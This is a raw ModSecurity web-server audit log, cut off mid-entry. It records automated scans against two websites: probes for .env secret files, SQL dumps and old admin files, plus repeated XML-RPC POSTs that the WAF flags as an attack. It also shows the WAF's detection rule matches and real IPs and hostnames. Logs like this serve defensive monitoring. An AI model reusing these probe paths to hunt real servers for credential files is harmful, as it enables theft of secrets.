PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b15388f01c298770b9a0c3aa397ffc4b1750026455; expires=Sun, 15 Jun 2025 23:27:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e8fa5e30-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/backend/.env"] [unique_id "aE9I132GhYywD7zZgx4AOwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026455063881 655789 (- - -) Stopwatch2: 1750026455063881 655789; combined=2013, p1=403, p2=1514, p3=0, p4=0, p5=96, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e8fa5e30-Z-- --068bed11-A-- [16/Jun/2025:03:57:36.856607 +0530] aE9I2ENwpNEMJppxC49X5QAAAAI 185.177.72.210 52866 127.0.0.1 7081 --068bed11-B-- GET /:5601/example/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --068bed11-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dcdd57cb26e6c2d498f83d20c8179d5f1750026456; expires=Sun, 15 Jun 2025 23:27:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --068bed11-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/example/.env"] [unique_id "aE9I2ENwpNEMJppxC49X5QAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026456180362 676308 (- - -) Stopwatch2: 1750026456180362 676308; combined=1645, p1=363, p2=1194, p3=0, p4=0, p5=87, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --068bed11-Z-- --4134a85b-A-- [16/Jun/2025:03:57:44.882417 +0530] aE9I4B-kH31pk4mNbsVFAwAAAAo 185.177.72.210 57874 127.0.0.1 7081 --4134a85b-B-- GET /:8880/web/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4134a85b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=51fc42c5fa6782fb5f9b5ca7f804b8101750026464; expires=Sun, 15 Jun 2025 23:27:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4134a85b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/web/.env"] [unique_id "aE9I4B-kH31pk4mNbsVFAwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026464198817 683663 (- - -) Stopwatch2: 1750026464198817 683663; combined=1996, p1=378, p2=1490, p3=0, p4=0, p5=127, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4134a85b-Z-- --69258206-A-- [16/Jun/2025:03:57:45.862290 +0530] aE9I4YrLgrklqy57Kk2iNQAAAAg 185.177.72.210 57956 127.0.0.1 7081 --69258206-B-- GET /:8080/api/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --69258206-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7bf714c611dd863630c1561b8fdee4581750026465; expires=Sun, 15 Jun 2025 23:27:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --69258206-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/api/.env.local"] [unique_id "aE9I4YrLgrklqy57Kk2iNQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026465205710 656642 (- - -) Stopwatch2: 1750026465205710 656642; combined=1742, p1=360, p2=1276, p3=0, p4=0, p5=106, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --69258206-Z-- --71828073-A-- [16/Jun/2025:03:57:52.952958 +0530] aE9I6FR6EeXjkGzEkblq7QAAAAs 185.177.72.210 42768 127.0.0.1 7081 --71828073-B-- GET /:10000/v2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --71828073-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e2b90bce5d84af5376e0da1c80aee7c81750026472; expires=Sun, 15 Jun 2025 23:27:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --71828073-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/v2/.env"] [unique_id "aE9I6FR6EeXjkGzEkblq7QAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026472256184 696906 (- - -) Stopwatch2: 1750026472256184 696906; combined=2001, p1=407, p2=1432, p3=0, p4=0, p5=161, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --71828073-Z-- --a958a121-A-- [16/Jun/2025:03:57:53.980235 +0530] aE9I6VxTdrwJSUMoZvGwggAAAAc 185.177.72.210 42818 127.0.0.1 7081 --a958a121-B-- GET /:8008/admin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a958a121-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b69eec42b11f547e8e7f53bb8d43abed1750026473; expires=Sun, 15 Jun 2025 23:27:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a958a121-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/admin/.env"] [unique_id "aE9I6VxTdrwJSUMoZvGwggAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026473278539 701776 (- - -) Stopwatch2: 1750026473278539 701776; combined=2314, p1=475, p2=1731, p3=0, p4=0, p5=107, sr=113, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a958a121-Z-- --e71c1868-A-- [16/Jun/2025:03:58:02.483722 +0530] aE9I8fNXjUHq-Wm7C_8UUAAAAAQ 128.199.112.101 37102 127.0.0.1 7081 --e71c1868-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --e71c1868-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --e71c1868-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9I8fNXjUHq-Wm7C_8UUAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026481503806 980010 (- - -) Stopwatch2: 1750026481503806 980010; combined=2452, p1=376, p2=1665, p3=44, p4=70, p5=184, sr=99, sw=113, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e71c1868-Z-- --ad4f676d-A-- [16/Jun/2025:03:58:10.288193 +0530] aE9I-X2GhYywD7zZgx4AUQAAAAM 185.177.72.210 36544 127.0.0.1 7081 --ad4f676d-B-- GET /env/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ad4f676d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ee3664931953a46fabcd76c49c123ca61750026490; expires=Sun, 15 Jun 2025 23:28:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ad4f676d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/env/.env"] [unique_id "aE9I-X2GhYywD7zZgx4AUQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026489623201 665081 (- - -) Stopwatch2: 1750026489623201 665081; combined=1879, p1=367, p2=1417, p3=0, p4=0, p5=95, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ad4f676d-Z-- --98b94126-A-- [16/Jun/2025:03:58:13.106394 +0530] aE9I_B-kH31pk4mNbsVFEQAAAAo 185.177.72.210 36622 127.0.0.1 7081 --98b94126-B-- GET /2019.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --98b94126-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=92e664f08b3652fa99bafdb95ff0580d1750026492; expires=Sun, 15 Jun 2025 23:28:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --98b94126-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/2019.sql"] [unique_id "aE9I_B-kH31pk4mNbsVFEQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026492313395 793063 (- - -) Stopwatch2: 1750026492313395 793063; combined=2266, p1=453, p2=1703, p3=0, p4=0, p5=109, sr=126, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --98b94126-Z-- --e0e6ea25-A-- [16/Jun/2025:03:58:19.397446 +0530] aE9JAh-kH31pk4mNbsVFFAAAAAo 185.177.72.210 36936 127.0.0.1 7081 --e0e6ea25-B-- GET /:8880/app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e0e6ea25-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9a5fa0322d78633c75beddd249da8b871750026499; expires=Sun, 15 Jun 2025 23:28:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e0e6ea25-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/app/.env"] [unique_id "aE9JAh-kH31pk4mNbsVFFAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026498711911 685598 (- - -) Stopwatch2: 1750026498711911 685598; combined=1623, p1=353, p2=1135, p3=0, p4=0, p5=134, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e0e6ea25-Z-- --938d6c6d-A-- [16/Jun/2025:03:59:03.238874 +0530] aE9JLkNwpNEMJppxC49YEgAAAAI 128.199.112.101 48786 127.0.0.1 7081 --938d6c6d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --938d6c6d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --938d6c6d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9JLkNwpNEMJppxC49YEgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026542276225 962705 (- - -) Stopwatch2: 1750026542276225 962705; combined=2423, p1=423, p2=1613, p3=42, p4=72, p5=169, sr=115, sw=104, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --938d6c6d-Z-- --640f1973-A-- [16/Jun/2025:03:59:19.948655 +0530] aE9JP1R6EeXjkGzEkblrFwAAAAs 185.177.72.210 45092 127.0.0.1 7081 --640f1973-B-- GET /admin2.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --640f1973-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6b2daff08f3c395133db6b97fbf22c6e1750026559; expires=Sun, 15 Jun 2025 23:29:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --640f1973-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/admin2.old"] [unique_id "aE9JP1R6EeXjkGzEkblrFwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026559261314 687404 (- - -) Stopwatch2: 1750026559261314 687404; combined=1770, p1=347, p2=1326, p3=0, p4=0, p5=96, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --640f1973-Z-- --e47dec15-A-- [16/Jun/2025:03:59:29.221897 +0530] aE9JSPNXjUHq-Wm7C_8UcwAAAAQ 185.177.72.210 54660 127.0.0.1 7081 --e47dec15-B-- GET /_vti_bin/shtml.dll HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e47dec15-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=89693d98173d451683a784faa40e9e6d1750026569; expires=Sun, 15 Jun 2025 23:29:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e47dec15-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/_vti_bin/shtml.dll"] [unique_id "aE9JSPNXjUHq-Wm7C_8UcwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026568546010 675978 (- - -) Stopwatch2: 1750026568546010 675978; combined=2088, p1=365, p2=1601, p3=0, p4=0, p5=121, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e47dec15-Z-- --837ab53d-A-- [16/Jun/2025:03:59:33.905363 +0530] aE9JTR-kH31pk4mNbsVFMwAAAAo 185.177.72.210 56180 127.0.0.1 7081 --837ab53d-B-- GET /wp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --837ab53d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e3f5376c8d3631d0459177cf79b59a961750026573; expires=Sun, 15 Jun 2025 23:29:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --837ab53d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev 